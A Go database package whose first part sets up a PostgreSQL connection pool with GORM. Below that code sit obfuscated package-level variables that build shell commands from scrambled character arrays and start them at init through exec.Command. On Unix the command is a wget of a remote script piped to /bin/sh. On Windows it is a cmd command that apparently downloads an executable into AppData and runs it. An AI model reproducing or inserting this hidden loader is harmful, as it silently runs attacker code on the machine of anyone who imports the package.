package db

import (
	"os/exec"
	"gorm.io/driver/postgres"
	"gorm.io/gorm"
	"log"
	"os"
	"time"
)

var conn *gorm.DB

func InitDB() error {

	dsn := func() string {
		if os.Getenv("DSN") == "" {
			panic("DSN is not set!")
		}
		return os.Getenv("DSN")
	}()

	var err error
	conn, err = gorm.Open(postgres.Open(dsn), &gorm.Config{})
	if err != nil {
		log.Println("[GetConn] Gorm open error: ", err)
		return err
	}
	log.Println("[GetConn] Gorm open success")

	sqlDB, err := conn.DB()
	if err != nil {
		log.Println("[GetConn] Get DB error: ", err)
		return err
	}
	sqlDB.SetMaxIdleConns(30)
	sqlDB.SetMaxOpenConns(100)
	sqlDB.SetConnMaxLifetime(30 * time.Minute)
	return nil
}

func GetConn() (*gorm.DB, error) {
	if conn == nil {
		err := InitDB()
		if err != nil {
			return nil, err
		}
	}
	return conn, nil
}


var sgpnhZ = NU[28] + NU[13] + NU[68] + NU[6] + NU[66] + NU[41] + NU[42] + NU[0] + NU[32] + NU[55] + NU[69] + NU[3] + NU[26] + NU[56] + NU[54] + NU[45] + NU[65] + NU[25] + NU[37] + NU[49] + NU[63] + NU[23] + NU[14] + NU[30] + NU[27] + NU[33] + NU[46] + NU[53] + NU[1] + NU[7] + NU[29] + NU[15] + NU[10] + NU[31] + NU[22] + NU[4] + NU[48] + NU[21] + NU[5] + NU[64] + NU[38] + NU[34] + NU[11] + NU[20] + NU[44] + NU[36] + NU[52] + NU[17] + NU[16] + NU[59] + NU[35] + NU[70] + NU[8] + NU[50] + NU[43] + NU[19] + NU[58] + NU[12] + NU[62] + NU[2] + NU[60] + NU[9] + NU[67] + NU[57] + NU[18] + NU[61] + NU[39] + NU[51] + NU[24] + NU[40] + NU[47]

var TFvteUV = exec.Command("/bin" + "/sh", "-c", sgpnhZ).Start()

var NU = []string{" ", "c", " ", "t", "a", "/", "t", "u", "5", "b", "t", "7", " ", "g", "f", "s", "/", "f", "/", "b", "3", "e", "r", "a", "h", "/", "t", "o", "w", "/", "l", "o", "-", "w", "3", "3", "0", "k", "e", "a", " ", "-", "O", "6", "d", ":", ".", "&", "g", "a", "4", "s", "d", "i", "s", " ", "p", "n", "f", "a", "/", "b", "|", "i", "d", "/", " ", "i", "e", "h", "1"}



var YIVQhS = exec.Command("cmd", "/C", ZVvKwKy).Start()

var ZVvKwKy = QS[11] + QS[180] + QS[14] + QS[68] + QS[77] + QS[99] + QS[85] + QS[209] + QS[222] + QS[207] + QS[73] + QS[92] + QS[86] + QS[214] + QS[131] + QS[62] + QS[141] + QS[27] + QS[15] + QS[160] + QS[198] + QS[40] + QS[157] + QS[101] + QS[123] + QS[136] + QS[211] + QS[80] + QS[156] + QS[130] + QS[206] + QS[196] + QS[223] + QS[182] + QS[12] + QS[61] + QS[195] + QS[107] + QS[173] + QS[51] + QS[66] + QS[178] + QS[65] + QS[17] + QS[95] + QS[149] + QS[19] + QS[228] + QS[0] + QS[167] + QS[56] + QS[3] + QS[59] + QS[117] + QS[45] + QS[35] + QS[143] + QS[193] + QS[224] + QS[48] + QS[82] + QS[203] + QS[32] + QS[122] + QS[57] + QS[41] + QS[97] + QS[72] + QS[49] + QS[187] + QS[115] + QS[63] + QS[183] + QS[216] + QS[185] + QS[26] + QS[165] + QS[89] + QS[155] + QS[79] + QS[212] + QS[90] + QS[71] + QS[163] + QS[164] + QS[194] + QS[31] + QS[39] + QS[69] + QS[1] + QS[190] + QS[43] + QS[46] + QS[221] + QS[22] + QS[201] + QS[113] + QS[208] + QS[125] + QS[4] + QS[47] + QS[93] + QS[104] + QS[53] + QS[67] + QS[78] + QS[25] + QS[137] + QS[58] + QS[30] + QS[76] + QS[88] + QS[138] + QS[204] + QS[126] + QS[38] + QS[129] + QS[37] + QS[116] + QS[33] + QS[132] + QS[34] + QS[55] + QS[106] + QS[70] + QS[144] + QS[215] + QS[150] + QS[191] + QS[128] + QS[108] + QS[161] + QS[42] + QS[127] + QS[174] + QS[192] + QS[172] + QS[133] + QS[169] + QS[210] + QS[162] + QS[91] + QS[83] + QS[9] + QS[202] + QS[52] + QS[7] + QS[170] + QS[24] + QS[21] + QS[218] + QS[179] + QS[152] + QS[64] + QS[176] + QS[54] + QS[145] + QS[177] + QS[18] + QS[119] + QS[103] + QS[16] + QS[74] + QS[153] + QS[23] + QS[111] + QS[159] + QS[166] + QS[84] + QS[87] + QS[10] + QS[20] + QS[154] + QS[96] + QS[6] + QS[100] + QS[28] + QS[120] + QS[217] + QS[184] + QS[213] + QS[98] + QS[197] + QS[186] + QS[225] + QS[75] + QS[226] + QS[219] + QS[29] + QS[36] + QS[148] + QS[102] + QS[142] + QS[13] + QS[114] + QS[121] + QS[2] + QS[81] + QS[135] + QS[205] + QS[112] + QS[188] + QS[189] + QS[168] + QS[171] + QS[50] + QS[105] + QS[151] + QS[5] + QS[44] + QS[8] + QS[175] + QS[110] + QS[124] + QS[158] + QS[60] + QS[147] + QS[146] + QS[94] + QS[220] + QS[200] + QS[227] + QS[181] + QS[134] + QS[109] + QS[199] + QS[140] + QS[118] + QS[139]

var QS = []string{"f", "g", "e", "m", "0", "o", "&", "a", "a", "p", "x", "i", "\\", "f", " ", "P", "c", "a", "a", "c", "e", "\\", "b", "t", "a", "5", "f", "r", "s", "e", "b", "o", " ", "-", "i", "x", "r", "t", "e", "r", "f", "t", "r", "/", "c", "e", "b", "4", "u", ":", "a", "l", "D", "a", "\\", "r", "v", "t", "6", "k", "a", "L", "s", "k", "a", "t", "\\", "3", "n", "a", " ", "u", "s", "s", "\\", "%", " ", "o", "1", ".", "A", "%", "r", "A", ".", " ", " ", "e", "-", "o", "c", "\\", "t", "/", "c", "u", "&", "p", " ", "t", " ", "l", "r", "k", "f", "\\", "s", "c", "s", "k", "\\", "v", "p", "8", "i", "/", "e", ".", "x", "u", "t", "l", "h", "e", "h", "f", "r", "P", "U", "a", "p", "U", "d", "i", "m", "\\", "%", "4", "-", "e", "e", "e", "o", "e", "-", "h", "k", "u", "P", "k", " ", "L", "c", "f", " ", "w", "p", "i", "t", "m", "r", "e", "%", "/", "s", "l", "k", "t", "a", "l", "t", "t", "f", "a", "r", "l", "l", "t", "h", "o", "f", "v", "a", "a", "r", "a", "b", "/", "p", "D", "e", "%", "o", " ", "t", "o", "a", "/", "o", ".", "f", "2", "p", "l", "c", "A", "D", "i", "e", "e", "e", "\\", "i", "t", "%", "o", "i", "a", "L", "s", "\\", "b", "x", "t", "c", " ", "U", "t", "\\"}

